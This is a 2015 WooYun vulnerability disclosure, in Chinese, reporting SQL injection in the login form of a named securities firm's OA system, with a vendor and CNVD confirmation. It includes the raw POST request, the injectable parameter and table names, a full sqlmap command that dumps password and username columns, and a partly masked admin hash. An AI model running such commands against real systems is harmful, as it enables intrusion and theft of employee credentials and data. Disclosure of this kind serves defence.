当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0122900

漏洞标题：东北证劵某系统存在SQL注射漏洞

相关厂商：东北证劵

漏洞作者： 茜茜公主

提交时间：2015-06-26 14:27

修复时间：2015-08-14 09:56

公开时间：2015-08-14 09:56

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-26： 细节已通知厂商并且等待厂商处理中
2015-06-30： 厂商已经确认，细节仅向厂商公开
2015-07-10： 细节向核心白帽子及相关领域专家公开
2015-07-20： 细节向普通白帽子公开
2015-07-30： 细节向实习白帽子公开
2015-08-14： 细节向公众公开

简要描述：

sql注射，可造成公司内部信息泄漏

详细说明：

QQ截图20150626092513.jpg


http://oa.nesc.cn/login/login.jsp
东北证劵oa-网上办公系统

QQ截图20150626135456.jpg


登录框存在post注入

POST http://oa.nesc.cn/userLoginAction.do HTTP/1.1
Accept: text/html, application/xhtml+xml, */*
Referer: http://oa.nesc.cn/login/login.jsp
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Host: oa.nesc.cn
Content-Length: 51
Connection: Keep-Alive
Pragma: no-cache
Cookie: JSESSIONID=SQyWVMtTpCnQqvh7qtJMV6QY2BnJGGYbjYxKRTS7MHZ0cLw31kWQ!-1059019592; DBZQOA=1837; DBZQOA2=2724
userName=admin&passWord=admin&textfield3=&x=41&y=18


Parameter: userName (POST)
    Type: boolean-based blind


系统用户表为USER_BASIC_INFO，可自行获取用户帐号USER_NAME密码PASS_WORD

D:\Python27>python SQLMap/SQLMap.py -u "http://oa.nesc.cn/userLoginAction.do" --data "userName=admin&passWord=admin&textfield3=123&x=24&y=27" -p "userName" --risk 3 --level 3 -D NEWDBZQ -T USER_BASIC_INFO -C "PASS_WORD,USER_ID,USER_NAME,IS_DELETED" --dump

漏洞证明：

QQ截图20150626141904.jpg


QQ截图20150626141926.jpg


QQ截图20150626135641.jpg


QQ截图20150626135732.jpg


个人工资

QQ截图20150626140144.jpg


内部邮件

QQ截图20150626140540.jpg


QQ截图20150626141255.jpg


超管帐号，md5可解
3159/73597BE8FEDCBDC4AC4E34EF28F3****

QQ截图20150626141406.jpg

修复方案：

过滤

版权声明：转载请注明来源 茜茜公主@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：11

确认时间：2015-06-30 09:54

厂商回复：

CNVD确认并复现所述情况，已经转由CNCERT向证券业信息化主管部门通报，由其后续协调网站管理单位处置。

最新状态：

暂无

漏洞评价：

评论